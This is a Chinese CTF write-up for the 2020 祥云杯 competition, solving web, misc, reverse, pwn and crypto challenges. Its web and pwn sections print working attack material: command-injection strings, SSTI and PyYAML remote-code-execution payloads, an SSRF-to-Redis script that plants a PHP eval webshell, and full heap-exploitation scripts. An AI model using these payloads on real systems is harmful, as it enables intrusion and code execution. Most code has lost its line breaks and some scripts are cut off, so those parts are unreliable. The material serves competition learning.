祥云杯

Web

★sign

1%09||%09ls%09/

1%09||%09ca\t%09in\dex.p\hp时有个闪

1%09||find%09/%09-name%09`echo%09ZmxhKg==|base64%09-d`

找flag

1%09||ca\t%09/`echo%09L2V0Yy8uZmluZGZsYWcvZmxhZy50eHQ=|base64%09-d`

★flaskbot

写名字

发现要绕float,直接nan绕过

发现cookie,base64解码就是刚刚输的用户名

随便改一个用户名

输入什么输出什么,那我直接模板注入

读文件报错debug发现是python2的东西,然后一直翻资料,后来翻到之前写的一道题https://blog.csdn.net/SopRomeo/article/details/108985950

发现有这个类

那不直接原题芜湖起飞,跑个索引

import requestsimport base64import timeimport htmldata={'num':'nan'}header={'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36'}for i in range(0,300):time.sleep(0.06)url='http://eci-2zechif0ewh08bt6v1jm.cloudeci1.ichunqiu.com:8888/guess'payload="{{\'\'.__class__.__mro__[2].__subclasses__()[%s]}}" % ipayload = base64.b64encode(bytes(payload,encoding='utf-8'))cookie={'user':str(payload,encoding='utf-8')}r = requests.post(url,headers=header,data=data,cookies=cookie)text=html.unescape(r.text)print(text)if "subprocess.Popen" in text:print('------------------------------------------------------------------\n\n')print(html.unescape(r.text))print(i)break

直接RCE

{{''.__class__.__mro__[2].__subclasses__()[258]('ls /',shell=True,stdout=-1).communicate()[0].strip()}}

发现flag

过滤了flag,字符拼接绕

{{''.__class__.__mro__[2].__subclasses__()[258]('cat /super_secret_fla'+'g.txt',shell=True,stdout=-1).communicate()[0].strip()}}

★doyouknowssrf

https://my.oschina.net/u/4593189/blog/4646830

Bypass SSRF

http://eci-2zefxwpkl0ky0qxw9jp1.cloudeci1.ichunqiu.com/?url=http://root:root@127.0.0.1:5000@baidu.com/?url=http%253A%252F%252F127.0.0.1%253A6379%252F_*1%250D%250A%25248%250D%250Aflushall%250D%250A*3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252431%250D%250A%250A%250A%253C%253Fphp%2520eval(%2524_GET%255B%2522cmd%2522%255D)%253B%253F%253E%250A%250A%250D%250A*4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252413%250D%250A%252Fvar%252Fwww%252Fhtml%250D%250A*4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25249%250D%250Ashell.php%250D%250A*1%250D%250A%25244%250D%250Asave%250D%250A生成打内网redis的脚本:

import urllibprotocol="gopher://"ip="127.0.0.1"port="6379"shell="\n\n<?php eval($_GET[\"cmd\"]);?>\n\n"filename="shell.php"path="/var/www/html"passwd=""cmd=["flushall","set 1 {}".format(shell.replace(" ","${IFS}")),"config set dir {}".format(path),"config set dbfilename {}".format(filename),"save"]if passwd:cmd.insert(0,"AUTH {}".format(passwd))payload=protocol+ip+":"+port+"/_"def redis_format(arr):CRLF="\r\n"redis_arr = arr.split(" ")cmd=""cmd+="*"+str(len(redis_arr))for x in redis_arr:cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")cmd+=CRLFreturn cmdif __name__=="__main__":for x in cmd:payload += urllib.quote(redis_format(x))print payload

生成shell.php后,执行命令获得flag

★easygogogo

拿到题目,发现能上传任意文件,但并不解析,并且上传的文件名并不会更改,并且数据是保存在cookie里面生成的

于是尝试,修改cookie任意文件读取,但发现并不行,后来看到每个容器中的cookie相同,于是在第一个容器生成   ../../../../../../../flag 的cookie,在重启起一个容器,修改cookie,成功任意文件读取,拿到flag

★easyzzz

百度了一下,发现有很多历史漏洞,找到了网站/admin539,发现尝试爆破无果,也没找到可注入的点,那么前端可getshell的地方就更少了

参考文章:https://www.anquanke.com/post/id/173991,在文章中提到/search这个接口存在rce,于是尝试了一下,发现if被ban了,尝试绕过,在该框架中找到了一种模版的方式,进行绕过 {cutpic:}

成功执行命令,payload如下:

{i{cutpic:}f:(print(cat /flag))}{end i{cutpic:}f}

★profile system

测试发现存在目录穿越

审计后猜测应该是yaml处存在漏洞,参考链接如下:

https://github.com/yaml/pyyaml/issues/420

利用pyyaml漏洞,打一波远程,题目无回显,所以需要将输出重定向,这里将payload16进制编码一下,防止正则匹配

payload如下:

!!python/object/new:tuple- !!python/object/new:map- !!python/name:eval- [ "\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f\x28\x22\x6f\x73\x22\x29\x2e\x73\x79\x73\x74\x65\x6d\x28\x22\x2f\x72\x65\x61\x64\x66\x6c\x61\x67\x20\x3e\x20\x75\x70\x6c\x6f\x61\x64\x73\x2f\x32\x2e\x74\x78\x74\x22\x29" ]

另外,还需伪造cookie进入判断条件:

if session['priviledge'] =='elite' and os.path.isfile(realpath):

简单伪造一下,上传文件,构造cookie,写入uploads/目录下,拿到flag

Misc

★签到

base64:ZmxhZ3txcV9ncm91cF84MjY1NjYwNDB9

解密即得flag{qq_group_826566040}

★xixixi

磁盘内所有内容如下:(可用winhex直接复原

)

# !i.pyimport structfrom xixi import FAT32Parserfrom xixixi import Padding, picDepartListdef EncodePieces():global clusterListres = []Range = len(picDepartList) # 58# GetRandomClusterList(n) - Generate a random cluster list with length nclusterList = GetRandomClusterList(Range)for i in range(Range):if i != Range - 1:newCRC = struct.pack("

# !ixi.pyimport structclass FAT32Parser(object):def __init__(self, vhdFileName):with open(vhdFileName, 'rb') as f:self.diskData = f.read()self.DBR_off = self.GetDBRoff()self.newData = ''.join(self.diskData)def GetDBRoff(self):DPT_off = 0x1BEtarget = self.diskData[DPT_off+8:DPT_off+12]DBR_sector_off, = struct.unpack("

分析两个文件,可以得出:

!ixi.py中的类FAT32Parser,可以对磁盘进行一系列操作。!i.py中的文件是对文件进行分块儿处理,并且图片被分为了58块儿,除了第一块儿未被加密外,其余块儿都进行了如下处理:

①每块儿的最后四位,即CRC校验值被替换成了下一块儿所在的簇号。

②除第一块儿外,其余块儿的内容都会与该块儿的簇号 & 0xFE整体进行异或。

所以想要反解图片块儿,需要对每个块儿先进行异或解密,再查看后四位得到下一块儿的簇号。

# -*- coding: utf-8 -*-# @Project: Hello Python!# @File : exp# @Author : Tr0jAn # @Date : 2020-11-22import structimport binasciifrom xixi import FAT32Parserdef read(n):global keybinary = b''for i in vhd.read(n):binary += (i ^ (key & 0xFE)).to_bytes(length=1, byteorder='big', signed=False)return binaryFAT = FAT32Parser("new.vhd")vhd = open("new.vhd", "rb")vhd.seek(0x27bae00) # 定位磁盘中图片位置flag = open("flag.png", "wb")flag.write(vhd.read(8)) # 写入png头key = 0while True:d = read(8)length, cType = struct.unpack(">I4s", d)print(length, cType) # length为数据长度,cType为数据块类型data = read(length)CRC = struct.unpack(">I", read(4))[0]print(CRC)rCRC = binascii.crc32(cType + data) & 0xffffffffprint(rCRC)rDATA = struct.pack(">I", length) + cType + data + struct.pack(">I", rCRC)flag.write(rDATA)if CRC != rCRC: # CRC错误的IDAT数据块b_endian = struct.pack(">I", CRC)clusterList = struct.unpack("

对磁盘反解出flag.png

flag{0cfdd1ad80807da6c0413de606bb0ae4}

★进制反转

下发的文件显示损坏无法打开,但是手机可以正常打开,010edit打开显示CRC错误,修改后提示需要密码解密,但是爆破rar未果,于是想起来可能是rar压缩伪加密,尝试修改

图示标记位置的D4修改为D0即可解压

修改后即可解压得到flag.wav

里面是flag.wav,以元数据的模式导入au利用AU进行音频反转,得到一段勉强能听的音频,

0.5倍速播放后使用qq音乐听歌识曲,得知是Too Good At Goodbyes,即flag{TOOGOODATGOODBYES}

★到点了

打开1.docx的隐藏文字,看到第二个文档密码的提示

爆破2.docx的密码得到 20201024

该密码同时也是该文件的创建时间

进入2.docx后ctrl+a全选

然后复制出来可以得到一串培根密文AABBAABBBAABBBAAAABBABBABABAAAAABBAAABBBBAABBBAABABABBAAABAAAABAABAABBABAAAAABAA

在线解密得GOODNIGHTSWEETIE

3.docx当压缩包打开,发现4.zip,解压得到4.bmp

使用wbStego4工具处理该bmp图片

第四步的解密密码为培根解密后的GOODNIGHTSWEETIE

然后下一步生成flag.txt 拿到flag

flag{2ec9405ac7bcfb16f5fd494bcf21337c}

★带音乐家

拿到手先file看一下decode_it的类型

发现是标准的midi的源文件,但是不能以元数据的形式导入到au,导入库乐队时听其中一个音轨的声音,也没有什么问题。并且波形图也不具备规律。

于是想起velato这个奇葩的编程语言,这个编程语言主要是采用了所谓的音符编程,可以到官网看一下手册,这里直接下载编译器,尝试编译decode_it,看看有啥

成功编译,运行decode_it.exe,应该是word的压缩包密码

成功解压压缩包获得word,显示隐藏字符,可以看到里面的图片和一串密文

图片是精灵语,参照翻译表即可翻译出FLAGIS,那么后面那段密文应该就是flag的密文了

这时关注到rar压缩包的注释部分

发现由空格字符和tab字符组成,将空格字符替换成 . ,tab字符替换成- 摩斯解密即可

已知AES密文和key 在线解密得到flag

Reverse

★re1

输入的字符串,根据每位的字符会经过一堆的处理,然后跟相应的数据一位一位对比。可以直接输入0-9 a-z的字符串来进行爆破一下字符对应,从而得到flag。

# 1234567890abcdefghijklmnopqrstuv# unsigned char ida_chars[] =# {# 0xE9, 0xEA, 0xEB, 0xEC, 0xED, 1-5# 0xEE, 0xEF, 0xF0, 0xF1, 0xE8, 6-0# 0x19, 0x1A, 0x1B, 0x1C, 0x1D, a-e# 0x1E, 0x1F, 0x20, 0x21, 0x22, f-j# 0x23, 0x24, 0x25, 0x26, 0x27, k-o# 0x28, 0x29, 0x2A, 0x2B, 0x2C, p-t# 0x2D, 0x2E u-v# };# cmpcode = 0xeb 0xf1 0x19 0xe8 0x1e 0x1e 0xf0 0xec 0xef 0x1e# 0xe9 0x1e 0xec 0xec 0xe8 0xec 0x19 0x19 0xee 0x1b# 0xef 0xef 0xec 0xea 0x1c 0xea 0xe8 0xeb 0xee 0xeb 0x1d 0xf1key = [0xeb,0xf1,0x19,0xe8,0x1e,0x1e,0xf0,0xec,0xef,0x1e,0xe9,0x1e,0xec,0xec,0xe8,0xec,0x19,0x19,0xee,0x1b,0xef,0xef,0xec,0xea,0x1c,0xea,0xe8,0xeb,0xee,0xeb,0x1d,0xf1]flag = 'flag{'for i in range(len(key)):if 0xe8<=key[i]<=0xf1:flag += chr(key[i] - 184)if 0x19<=key[i]<=(0x19+26):flag += chr(key[i] + 72)print(flag+'}')# flag{39a0ff847f1f4404aa6c7742d20363e

★apk1

JEB打开apk,可以看到程序主逻辑的在native层,但是要注意的是调用的是check函数而不是check1函数

IDA打开so,可以发现程序直接有check1函数

而check函数是通过JNI_Onload中registerNatives函数注册的,可以通过反汇编找到关键位置

check函数主逻辑如下:

稍作分析,可以发现程序对我们的输入长度进行了判断是否是22位,然后对其进行了hex转化,接着rc4加密,密钥是flag,最后用DES加密,密钥还是flag,最后和明文0x99EDA1D941316EEA进行对比。要注意是的rc4生成时用到了crc校验,那么可以用动态调试去解密rc4。

#-*- coding:utf-8from numpy import*from Crypto.Cipher import DESfrom Crypto.Cipher import ARC4key='666C6167'des = DES.new(key, DES.MODE_ECB)cipher1='99EDA1D941316EEA'.decode('hex')plain1=des.decrypt(cipher1)print(plain1.encode('hex'))#求出des解密明文动态调试解出rc4密文,即为flag#flag{76952041E276E2BF}

PWN

★Beauty_Of_ChangChun

- del函数中存在uaf的漏洞,且只对byte位的size清0,0x100的chunk不受影响

- 存在后门函数

开始程序就把flag读入了一个特定的内存中,并且后门函数中,只需确定flag字符串前8位字节的具体值即可拿到flag。所以可以用Tcache Stashing Unlink ,往flag前的8位写上main arean附近的地址。并且可以泄漏libc,算下偏移,所以也就知道了其写上的数值,然后就调用后门函数获得flag。

具体思路可以看下方exp:

#!/usr/bin/env python# encoding: utf-8from pwn import *import timelocal_file = './pwn'elf = ELF(local_file)context.log_level = 'debug'debug = 0if debug:io = process(local_file)libc = elf.libcelse:io = remote('112.126.71.170',43652)libc = elf.libc#libc = ELF('.')context.arch = elf.archcontext.terminal = ['tmux','neww']#,''splitw','-h'rce16 = [0x45216,0x4526a,0xf02a4,0xf1147]rce18 = [0x4f2c5,0x4f322,0x10a38c]realloc = [0x2,0x4,0x6,0xB,0xC,0xD]arae16 = 0x3c4b78arae18 = 0x3ebca0s = lambda data :io.send(data)sa = lambda delim,data :io.sendafter(delim, data)sl = lambda data :io.sendline(data)sla = lambda delim,data :io.sendlineafter(delim, data)r = lambda numb=4096 :io.recv(numb)ru = lambda delims, drop=True :io.recvuntil(delims, drop)uu32 = lambda data :u32(data.ljust(4, '\0'))uu64 = lambda data :u64(data.ljust(8, '\0'))info_addr = lambda tag, addr :io.info(tag + '==>' +': {:#x}'.format(addr))itr = lambda :io.interactive()def debug():# gdb.attach(proc.pidof(io)[0],gdbscript='b main')gdb.attach(io)pause()def add(size):sla("4: Enjoy scenery\n",'1')sla('size',str(size))def free(idx):sla("4: Enjoy scenery\n",'2')sla('idx',str(idx))def edit(idx,data):sla("4: Enjoy scenery\n",'3')sla('idx',str(idx))sa('chat',str(data))def show(idx):sla("4: Enjoy scenery\n",'4')sla('idx',str(idx))ru('le\n')flag = int(r(12),16)info_addr('flag',flag)for i in range(6):add(0x80)free(0)for i in range(7):add(0xff)free(0)add(0x100)add(0x80)add(0x100)free(1)add(0x90)free(0)free(2)show(2)ru('see\n')heap = uu64(r(6))info_addr('heap',heap)show(0)ru('see\n')fd = uu64(r(6))libcbase = fd -0x1ebbe0info_addr('fd',fd)info_addr('libcbase',libcbase)sla("4: Enjoy scenery\n",'666')#sla("4: Enjoy scenery\n",'5')sl('aaaaaaa')edit(2,p64(heap) + p64(flag-0x10))free(1)add(0x100)edit(0,p64(libcbase + 0x1ebce0))sla("4: Enjoy scenery",'5')sla('idx','1')itr()

flag值

flag{443f40ee-f4de-40b3-ab94-b7afa6f9}

★影流之主

- uaf

利用思路

if ( !glob(pattern, 4098, 0LL, &pglob) )globfree(&pglob);

可以用这个函数来创建出一个巨大的unsorted bin,接着申请chunk上去即可泄漏出libc,然后就是fastbin attack,攻击malloc hook,最后需要free 2次同一个chunk,触发异常机制,然后再次调用malloc触发到one gadget

#!/usr/bin/env python# encoding: utf-8from pwn import *import timelocal_file = './ying_liu_zhi_zhu'elf = ELF(local_file)context.log_level = 'debug'debug = 0if debug:io = process(local_file)libc = elf.libcelse:io = remote('112.126.71.170',45123)libc = elf.libc#libc = ELF('.')context.arch = elf.archcontext.terminal = ['tmux','neww']#,''splitw','-h'rce16 = [0x45226,0x4527a,0xf0364,0xf1207]rce18 = [0x4f2c5,0x4f322,0x10a38c]realloc = [0x2,0x4,0x6,0xB,0xC,0xD]arae16 = 0x3c4b78arae18 = 0x3ebca0s = lambda data :io.send(data)sa = lambda delim,data :io.sendafter(delim, data)sl = lambda data :io.sendline(data)sla = lambda delim,data :io.sendlineafter(delim, data)r = lambda numb=4096 :io.recv(numb)ru = lambda delims, drop=True :io.recvuntil(delims, drop)uu32 = lambda data :u32(data.ljust(4, '\0'))uu64 = lambda data :u64(data.ljust(8, '\0'))info_addr = lambda tag, addr :io.info(tag + '==>' +': {:#x}'.format(addr))itr = lambda :io.interactive()def debug():# gdb.attach(proc.pidof(io)[0],gdbscript='b main')gdb.attach(io)pause()def add():sl('1')def free(idx):sl('2')sl(str(idx))def edit(idx,data):sl('3')sl(str(idx))s(str(data))def show(idx):sl('4')sl(str(idx))def b(data):sl('5')sl(str(data))# add()b(b'*/lib*') #0x3c4ce8# b(b'*') #0x3c4b78add() #0add()add()add()add() #4show(1)libcbase = uu64(r(6)) - 0x3c4ce8info_addr('libc',libcbase)free(1)edit(1,p64(libcbase+0x3c4aed))add()add()one = 0xf0364 + libcbaserealloc = libcbase + libc.symbols['realloc'] + realloc[4]payload = '\x00' *3 + p64(0) + p64(one)+ p64(realloc)edit(6,payload)free(0)free(0)itr()

flag{dfbe8fe7-b6f4-4c3a-a226-6a8b12fd683f}

★babypwn

c++的程序代码看起来比较的乱,直接上手进行调试。

发现在init create init 这样的顺序执行后,程序就变得诡异起来,并没把重要的指针转移到新init来的内存块来使用,而是还是使用原来init开起来虚表指针,由于其大小是0x90的chunk,接着可以实现泄漏。

如图,控制这两个指针就可以任意地址读和写。然后再次申请0x8f的堆块,set一下即可控制这2个指针。

然后改写到free hook,再次create函数其会free 原来的chunk,即可触发one gadget。

#!/usr/bin/env python# encoding: utf-8from pwn import *import timelocal_file = './pwn'elf = ELF(local_file)context.log_level = 'debug'debug = 0if debug:io = process(local_file)libc = elf.libcelse:io = remote('8.131.69.237',52642)libc = elf.libc#libc = ELF('.')context.arch = elf.archcontext.terminal = ['tmux','neww']#,''splitw','-h'rce16 = [0x45226,0x4527a,0xf0364,0xf1207]rce18 = [0x4f2c5,0x4f322,0x10a38c]realloc = [0x2,0x4,0x6,0xB,0xC,0xD]arae16 = 0x3c4b78arae18 = 0x3ebca0s = lambda data :io.send(data)sa = lambda delim,data :io.sendafter(delim, data)sl = lambda data :io.sendline(data)sla = lambda delim,data :io.sendlineafter(delim, data)r = lambda numb=4096 :io.recv(numb)ru = lambda delims, drop=True :io.recvuntil(delims, drop)uu32 = lambda data :u32(data.ljust(4, '\0'))uu64 = lambda data :u64(data.ljust(8, '\0'))info_addr = lambda tag, addr :io.info(tag + '==>' +': {:#x}'.format(addr))itr = lambda :io.interactive()def debug():# gdb.attach(proc.pidof(io)[0],gdbscript='b main')gdb.attach(io)pause()def init():sla('ice:','1')def create():sla('ice:','2')def add(size):sla('ice:','3')sla('size',str(size))def set(data):sla('ice:','4')sa('tent',str(data))def show():sla('ice:','5')def size():sla('ice:','6')init()create()# add(0x8f)init()show()ru('ow:\n')libc_base = uu64(r(6)) - 0x3c4b78info_addr('libc',libc_base)add(0x80)set(p64(0x3c67a8 +libc_base) + p64(0x3c67a8 + libc_base))set(p64(rce16[3] + libc_base)*4 + p64(0)*7)create()# debug()itr()

flag{807591828e94ceb0e6c206caa5f98927}

★garden

### 漏洞点

- steal tree函数存在uaf

### 攻击思路

研究程序逻辑后,发现基本就是`house_ of_ botcake`的进阶利用版。

所以核心思路就是 `house of botcake`,但是由于没有能够申请更大的chunk来利用,所以需要用进tcache的chunk来做padding chunk,然后用name那个函数的malloc 0x20,切割一下生成的unsortedbin。

接着就简单了,也就是释放完heap无用残余指针,然后多次申请,和适当的free堆,来改unsortbin上重叠tcache的堆头,来实现tcache attack,接着打free hook。

#!/usr/bin/env python# encoding: utf-8from pwn import *import timelocal_file = './pwn'elf = ELF(local_file)context.log_level = 'debug'debug = 0if debug:io = process(local_file)libc = elf.libcelse:io = remote('8.131.69.237',32452)libc = elf.libc#libc = ELF('.')context.arch = elf.archcontext.terminal = ['tmux','neww']#,''splitw','-h'rce16 = [0x45216,0x4526a,0xf02a4,0xf1147]rce18 = [0x4f2c5,0x4f322,0x10a38c]realloc = [0x2,0x4,0x6,0xB,0xC,0xD]arae16 = 0x3c4b78arae18 = 0x3ebca0s = lambda data :io.send(data)sa = lambda delim,data :io.sendafter(delim, data)sl = lambda data :io.sendline(data)sla = lambda delim,data :io.sendlineafter(delim, data)r = lambda numb=4096 :io.recv(numb)ru = lambda delims, drop=True :io.recvuntil(delims, drop)uu32 = lambda data :u32(data.ljust(4, '\0'))uu64 = lambda data :u64(data.ljust(8, '\0'))info_addr = lambda tag, addr :io.info(tag + '==>' +': {:#x}'.format(addr))itr = lambda :io.interactive()def debug():# gdb.attach(proc.pidof(io)[0],gdbscript='b main')gdb.attach(io)pause()def add(idx,data):sla('>','1')sla('dex?',str(idx))sa('name',str(data))def free(idx):sla('>','2')sla('dex',str(idx))# only onedef show(idx):sla('>','3')sla('dex?\n',str(idx))def steal(idx):sla('>','5')sla('tree',str(idx))def name():sla('>','6')for i in range(7):add(i,'chumen77')add(7,'chumen77')add(8,'chumen77')# name()for i in range(5):free(i)free(8)free(5)steal(7)free(6)show(7)# r()# p/x 0x00007fd1efd50ca0 - 0x00007fd1efb6c000libcbase = uu64(r(6)) - 0x1e4ca0info_addr('libc',libcbase)add(0,'chumen77')free(7)name()free(0)# debug()for i in range(7):add(i,'chumen77')add(7,'chumen77')# free(0)add(8,'chumen77')free(0)free(8)__malloc_hook = 0x1e4c30__free_hook = 0x1e75a8one = p64(0x52fd0+libcbase)payload = 0xd0 * '\x00' + p64(0) + p64(0x111) + p64(0x1e75a8 + libcbase)add(8,payload)for i in range(7):free(7-i+2)free(1)free(2)for i in range(6):add(i,'chumen77')add(7,'chumen77')add(8,one)add(6,'/bin/sh\x00')free(6)# debug()itr()

flag{49333188b93b530dfaf568d0816aa0fa}

★把嘴闭上

分析程序,发现漏洞点肯定在mallopt函数上。但是不怎么熟悉,就开始谷歌这个函数相关的漏洞,审计libc源码。

最终发现一个漏洞报告。

[https://www.cygwin.com/bugzilla/show\_bug.cgi?id=25733]

漏洞点:

在libc 2.23中,`mallopt(M_MXFAST) can set global_max_fast to 0`

就出现了漏洞。

#include #include #include int main() {// Populate last_remainder, which is treated as the top chunk size field// after main arena re-initialization.// 填充last_remainder,将其视为最大块大小字段// 主竞技场重新初始化之后。void* remainder_me = malloc(0x418);malloc(0x18);// Avoid top chunk consolidation.free(remainder_me);malloc(0x18);// Remainder remainder_me chunk.// Set global_max_fast to 0.mallopt(M_MXFAST, 7);// Trigger malloc_consolidate(), which could happen during large// allocations/frees, but for the sake of simplicity here just call// mallopt() again.mallopt(M_MXFAST, 0x78);// malloc_consolidate() uses global_max_fast to determine if malloc has// been initialized. If global_max_fast is 0, malloc_consolidate() will// re-initialize the main arena, setting its top chunk pointer to an address// within the main arena. Now last_remainder acts as the top chunk size// field.printf("%p\n", malloc(0x418));return 0;}

发现的确存在这样的漏洞。

利用思路:

因为其最后申请的堆回跑到libc上,并且发现其在free hook 的上面。

那么在尽量不破坏libc 上内存的情况下,一直的申请内存,肯定改到free hook。

### exp#!/usr/bin/env python# encoding: utf-8# icqaa6603da5d8063707dd74952c7daffrom pwn import *import timelocal_file = './ba_zui_bi_shang'elf = ELF(local_file)context.log_level = 'debug'debug = 0if debug:io = process(local_file)libc = elf.libcelse:io = remote('112.126.71.170',23548)libc = elf.libc#libc = ELF('.')context.arch = elf.archcontext.terminal = ['tmux','neww']#,''splitw','-h'rce16 = [0x45216,0x4526a,0xf02a4,0xf1147]rce18 = [0x4f2c5,0x4f322,0x10a38c]realloc = [0x2,0x4,0x6,0xB,0xC,0xD]one_gadgets = [0x45226,0x4527a,0xf0364,0xf1207]arae16 = 0x3c4b78arae18 = 0x3ebca0s = lambda data :io.send(data)sa = lambda delim,data :io.sendafter(delim, data)sl = lambda data :io.sendline(data)sla = lambda delim,data :io.sendlineafter(delim, data)r = lambda numb=4096 :io.recv(numb)ru = lambda delims, drop=True :io.recvuntil(delims, drop)uu32 = lambda data :u32(data.ljust(4, '\0'))uu64 = lambda data :u64(data.ljust(8, '\0'))info_addr = lambda tag, addr :io.info(tag + '==>' +': {:#x}'.format(addr))itr = lambda :io.interactive()def debug():# gdb.attach(proc.pidof(io)[0],gdbscript='b main')gdb.attach(io)pause()def add_name(size,data):sla('> ','1')sla('> ',str(size))sla('> ',str(data))def free():sla('> ','2')def mallopt(param_number,value):sla('> ','3')sla('> ',str(param_number))sla('> ',str(value))def add(size,data):sla('> ','4')sla('> ',str(size))sla('> ',str(data))ru('0x')libcbase = int(r(12),16) - libc.symbols['puts']info_addr('libc',libcbase)# debug()ru('> ')sl(str(0x418))ru('> ')io.send('\n')add_name(0x18,'chumen77\n')free()add_name(0x18,'chumen77\n')mallopt(1,7)# debug()mallopt(1,0x78)add(0x418,'\n')add(0x418,'\n')add(0x418,'\n')add(0x418,'\n')add(0x418,'\n')add(0x418,'\n')add(0x418,'/bin/sh\x00' + '\x00'*0x358 + p64(libc.symbols['system']+libcbase))# debug()free()itr()

flag{1db37b9de003140420951bf5f77483a7}

Crypto

★Exposure

from Crypto.Util.number import *import gmpy2p = getStrongPrime(512)q = getStrongPrime(512)n = p * qphi = (p - 1) * (q - 1)e = 7621d = gmpy2.invert(e, phi)flag = b"flag{xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx}"c = pow(bytes_to_long(flag), e, n)dp = d % (p - 1)print(dp >> 200)print(c, e, n)#1153696846823715458342658568392537778171840014923745253759529432977932183322553944430236879985#46735962204857190520476434898881001530665718155698898882603422023484998388668858692912250418134186095459060506275961050676051693220280588047233628259880712415593039977585805890920089318643002597837000049626154900908543384761210358835843974072960080857150727010985827690190496793207012355214605393036388807616#7621#140376049134934822153964243403031201922239588054133319056483413311963385321279682186354948441840374124640187894619689719746347334298621083485494086361152915457458004998419817456902929318697902819798254427945343361548635794308362823239150919240307072688623000747781103375481834571274423004856276841225675241863

dp泄露,但是dp被右移了200位,想到了Coppersmith攻击,这个是dp高位泄露,所以应该是求((dp*e-1)/i)+1 的 small roots 就可以了

参考KAPO2019 crypto的题

https://github.com/pcw109550/write-up/tree/master/2019/KAPO/Lenstra-Lenstra-Lovasz

写出解密sage脚本

n = 140376049134934822153964243403031201922239588054133319056483413311963385321279682186354948441840374124640187894619689719746347334298621083485494086361152915457458004998419817456902929318697902819798254427945343361548635794308362823239150919240307072688623000747781103375481834571274423004856276841225675241863secret = 1153696846823715458342658568392537778171840014923745253759529432977932183322553944430236879985ct = 46735962204857190520476434898881001530665718155698898882603422023484998388668858692912250418134186095459060506275961050676051693220280588047233628259880712415593039977585805890920089318643002597837000049626154900908543384761210358835843974072960080857150727010985827690190496793207012355214605393036388807616[n, secret, ct] = list(map(Integer, [n, secret, ct]))e = 7621def facorize(e, dp):for i in range(2, e):p = (e * dp - 1 + i) // iif n % p == 0:return preturn -1def recover(secret):F. = PolynomialRing(Zmod(n))einv = inverse_mod(e, n)for k in range(1, e):print("k =", k)f = (secret << 200) + x + (k - 1) * einvx0 = f.small_roots(X=2 ** (200 + 1), beta=0.44, epsilon=1/32)if len(x0) != 0:dp = x0[0] + (secret << 200)p_cand = facorize(e, Integer(dp))if p_cand < 0:continueelse:return p_cand, dpif __name__ == "__main__":p, dp = recover(secret)q = n // passert p * q == nphi = (p - 1) * (q - 1)d = inverse_mod(e, phi)print("p = ", p, "\nq = ", q)flag = bytes.fromhex(hex(pow(ct, d, n))[2:])print(flag)

flag{45879a9e-1431-4c34-86e2-6f1f7bb1256d}

★more_calc

import gmpy2from Crypto.Util.number import *flag = b"flag{xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx}"p = getStrongPrime(2048)for i in range(1, (p+1)//2):s += pow(i, p-2, p)s = s % pq = gmpy2.next_prime(s)n = p*qe = 0x10001c = pow(bytes_to_long(flag), e, n)print(p)print(c)#27405107041753266489145388621858169511872996622765267064868542117269875531364939896671662734188734825462948115530667205007939029215517180761866791579330410449202307248373229224662232822180397215721163369151115019770596528704719472424551024516928606584975793350814943997731939996459959720826025110179216477709373849945411483731524831284895024319654509286305913312306154387754998813276562173335189450448233216133842189148761197948559529960144453513191372254902031168755165124218783504740834442379363311489108732216051566953498279198537794620521800773917228002402970358087033504897205021881295154046656335865303621793069#35055918683748883282174784323651813560520737603185800227424500428762264933021511381871995418539707283801414497303232960090541986190867832897131815320508500774326925395739528242032566313216102210036548100374594081897428098804503420454038574457280610255242042832626554192534670284369336699175346822030007088865173250252079700270724860427575514471342164997149244044205247072315311115645755855836214700200464613652201134426101746190195358346246762242881016710707928119020973125199597600335220176686188732073999025860155060600538887296782517962617671450347555788381054344555539001456268680189452831160062315698482986474322296387716709989292671747978922668181058489406663507675599642320338049377613048817085979874567772781052867215035033348050642450667612710852648837001109914769887507004392552421783737965416800917979813137835262317794775319294801257483177741372991005066875900770459644762548438474388076655842822437141772648037236281057239552272508379892613346840960049192531743799845858272389712078645821963027561694961956409973354276629777068204456160534409039477757097372521171307620184694243888389707840806777932547158990704118642378158004690358831695861544319681913385236756504946707671037639508589887549565323717819837942112908652

想求q,得先求s,又因为s是 pow(i, p-2, p) 的累和( i 从1到 (p+1)//2 ),可以费马小定理求p 和 (p+1)//2 -1 求逆元

# -*- coding: utf-8 -*-# @Project: Hello Python!# @File : exp# @Author : Tr0jAn # @Date : 2020-11-22import gmpy2from Crypto.Util.number import long_to_bytesp = 27405107041753266489145388621858169511872996622765267064868542117269875531364939896671662734188734825462948115530667205007939029215517180761866791579330410449202307248373229224662232822180397215721163369151115019770596528704719472424551024516928606584975793350814943997731939996459959720826025110179216477709373849945411483731524831284895024319654509286305913312306154387754998813276562173335189450448233216133842189148761197948559529960144453513191372254902031168755165124218783504740834442379363311489108732216051566953498279198537794620521800773917228002402970358087033504897205021881295154046656335865303621793069s = gmpy2.invert(p, (p+1)//2-1)s = s % pq = gmpy2.next_prime(s)e = 0x10001phi = (p - 1) * (q - 1)d = gmpy2.invert(e, phi)n = p*qc = 350559186837488832821747843236518135605207376031858002274245004287622649330215113818719954185397072838014144973032329600905419861908678328971318153205085007743269253957395282420325663132161022100365481003745940818974280988045034204540385744572806102552420428326265541925346702843693366991753468220300070888651732502520797002707248604275755144713421649971492440442052470723153111156457558558362147002004646136522011344261017461901953583462467622428810167107079281190209731251995976003352201766861887320739990258601550606005388872967825179626176714503475557883810543445555390014562686801894528311600623156984829864743222963877167099892926717479789226681810584894066635076755996423203380493776130488170859798745677727810528672150350333480506424506676127108526488370011099147698875070043925524217837379654168009179798131378352623177947753192948012574831777413729910050668759007704596447625484384743880766558428224371417726480372362810572395522725083798926133468409600491925317437998458582723897120786458219630275616949619564099733542766297770682044561605344090394777570973725211713076201846942438883897078408067779325471589907041186423781580046903588316958615443196819133852367565049467076710376395085898875495653237178198379421129086523m = pow(c, d, n)print(long_to_bytes(m))

flag{3d7f8da9-ee79-43c0-8535-6af524236ca1}

★simpleRSA

